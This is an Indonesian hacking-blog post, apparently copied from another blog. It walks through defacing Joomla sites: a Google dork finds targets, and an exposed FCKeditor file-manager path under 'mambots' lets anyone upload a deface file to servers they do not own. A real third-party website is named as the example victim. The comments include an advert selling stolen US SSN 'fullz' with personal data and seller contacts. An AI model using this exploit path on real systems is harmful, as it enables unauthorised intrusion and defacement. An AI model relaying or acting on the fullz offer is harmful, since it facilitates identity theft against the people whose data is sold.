AXXERX55 : Hacker Area: Joomla mambots File Upload Vulnerability

...:::WELCOME TO MY BLOG, THANK'S FOR VISIT:::...

Joomla mambots File Upload Vulnerability

  1. cari digoogle dengan dork inurl:index.php?option=com_content contoh ane dapet http://www.thomaskoetzing.de/index.php?option=com_content&task=view&id=57&Itemid=97
  2. kemudian hapus index.php?option=com_content&task=view&id=57&Itemid=97 ganti dengan mambots/editors/fckeditor/editor/filemanager/browser/default/browser.html?T
    ype=File&Connector=connectors/php/connector.php
    maka jadiny http://www.thomaskoetzing.de/mambots/editors/fckeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php  akan muncul halaman/ form untuk upload file maukkan file deface anda. ingat type file yang bisa di upload berbeda-beda. nah disini ane cuma buat coba² jadi ane masukin file txt.
  3. apabila selesai mengupload file maka file kita akan muncul di form/halam itu....
  4. untuk melihat dimana lokasi file kita dilettakan. blok dan klik kanan file yang barusan kita upload kemudian pilih View Selection Source, akan muncul seperti berikut
Joomla mambots File Upload Vulnerability

    Kurang lebih seperti itu tampilannya. kita lihat filenya ada di directory /File/ jadi letaknya ada di http://www.thomaskoetzing.de/File/70h4n.txt

Copy Paste From http://newbiesejati.blogspot.com/

3 komentar:

Anonim mengatakan...

not working with the url...

software karaoke mengatakan...

http://roke-karaoke.blogspot.com/
software karaoke murah gan,
visit balik ya,blogwalking
keep bloging.

No Name mengatakan...

Hello Everyone !

USA SSN Leads/Fullz available, along with Driving License/ID Number with good connectivity.

All SSN's are Tested & Verified.

**DETAILS IN LEADS/FULLZ**

->FULL NAME
->SSN
->DATE OF BIRTH
->DRIVING LICENSE NUMBER
->ADDRESS WITH ZIP
->PHONE NUMBER, EMAIL
->EMPLOYEE DETAILS

*Price for SSN lead $2
*You can ask for sample before any deal
*If you buy in bulk, will give you discount
*Sampling is just for serious buyers

->Hope for the long term business
->You can buy for your specific states too

**Contact 24/7**

Whatsapp > +923172721122

Email > leads.sellers1212@gmail.com

Telegram > @leadsupplier

ICQ > 752822040

Posting Komentar

 
Copyright © AXXERX55 : Hacker Area Blogger Theme by BloggerThemes & newwpthemes
. . . : : : WE LOVE INDONESIA Ini dadaku, mana dadamu Kalau Malaysia mau konfrontasi ekonomi Kita hadapi dengan konfrontasi ekonomi Kalau Malaysia mau konfrontasi politik Kita hadapi dengan konfrontasi politik Kalau Malaysia mau konfrontasi militer Kita hadapi dengan konfrontasi militer : : : . . .